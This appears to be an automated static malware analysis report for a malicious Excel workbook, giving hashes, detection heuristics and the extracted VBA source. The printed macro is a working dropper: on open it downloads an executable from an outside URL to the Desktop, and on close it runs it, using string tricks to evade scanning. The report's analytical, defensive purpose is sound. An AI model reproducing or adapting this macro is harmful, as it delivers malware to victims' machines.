Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1e3deb167cbdf543…

MALICIOUS

Office (OOXML)

15.6 KB Created: 2021-02-12 14:07:32 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-02-23
MD5: bd057f9f457a9c1ad81fc7f435952e40 SHA-1: 8d25b5f9746e21ffff36ba4baaa8ab3ebb1c468a SHA-256: 1e3deb167cbdf543699d2ed74b67af132dbec3b91c09e2b9178ae687007f1092
138 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            oStream.Write WinHttpReq.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim WinHttpReq          As Object: Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        sPath = Environ("USERPROFILE") & "\Desktop\"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://z24.pl/wrzod/Wrzod Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2576 bytes
SHA-256: 2663a36d24b40cb6f2fcf4f7e1f313f73a387f687ba32b60fa9e9df7d9d235a6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ten_skoroszyt"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_BeforeClose(Cancel As Boolean)
    Call Uruchom
End Sub

Private Sub Workbook_Open()
    Call Pobierz
End Sub


Attribute VB_Name = "Arkusz1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Odpalono As Long

Private Sub Worksheet_Activate()
    
End Sub

Private Sub Worksheet_SelectionChange(ByVal Target As Range)

End Sub

Attribute VB_Name = "Module1"
Private Declare PtrSafe Function ShellExecute _
    Lib "shell32.dll" Alias "ShellExecuteA" ( _
    ByVal hwnd As LongPtr, _
    ByVal lpOperation As String, _
    ByVal lpFile As String, _
    ByVal lpParameters As String, _
    ByVal lpDirectory As String, _
    ByVal nShowCmd As Long) As LongPtr

Public Function DownloadFileB(ByVal URL As String, ByVal DownloadPath As String, ByRef Username As String, ByRef Password, Optional Overwrite As Boolean = True) As Boolean
    On Error GoTo Failed

    Dim WinHttpReq          As Object: Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")

    WinHttpReq.Open "GET", URL, False ', Username, Password
    WinHttpReq.send

    If WinHttpReq.Status = 200 Then
        Dim oStream         As Object: Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.responseBody
        oStream.SaveToFile DownloadPath, Abs(CInt(Overwrite)) + 1
        oStream.Close
        DownloadFileB = Len(Dir(DownloadPath)) > 0
        Exit Function
    End If

Failed:
    DownloadFileB = False
End Function

Sub Pobierz()
    Dim URL As String, sPath As String, LocalFilename As String
    URL = "https://z24.pl/wrzod/Wrzod.!!!"
    sPath = Environ("USERPROFILE") & "\Desktop\"
    LocalFilename = sPath + "Wrzod.exe"

     Z = DownloadFileB(URL, LocalFilename, "", "")
End Sub

Sub Uruchom()
    sPath = Environ("USERPROFILE") & "\Desktop\"
    sFile = sPath + Replace("Wrzod.!x!", "!", "e")
    sCommand = ""
    sWorkDir = ""
    
    ShellExecute hwnd, "open", sFile, sCommand, sWorkDir, 1
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 18944 bytes
SHA-256: 82bc724e093b3f71360ec75677714de29a4c76bbc4aa2aae9911a1a93e0d11fd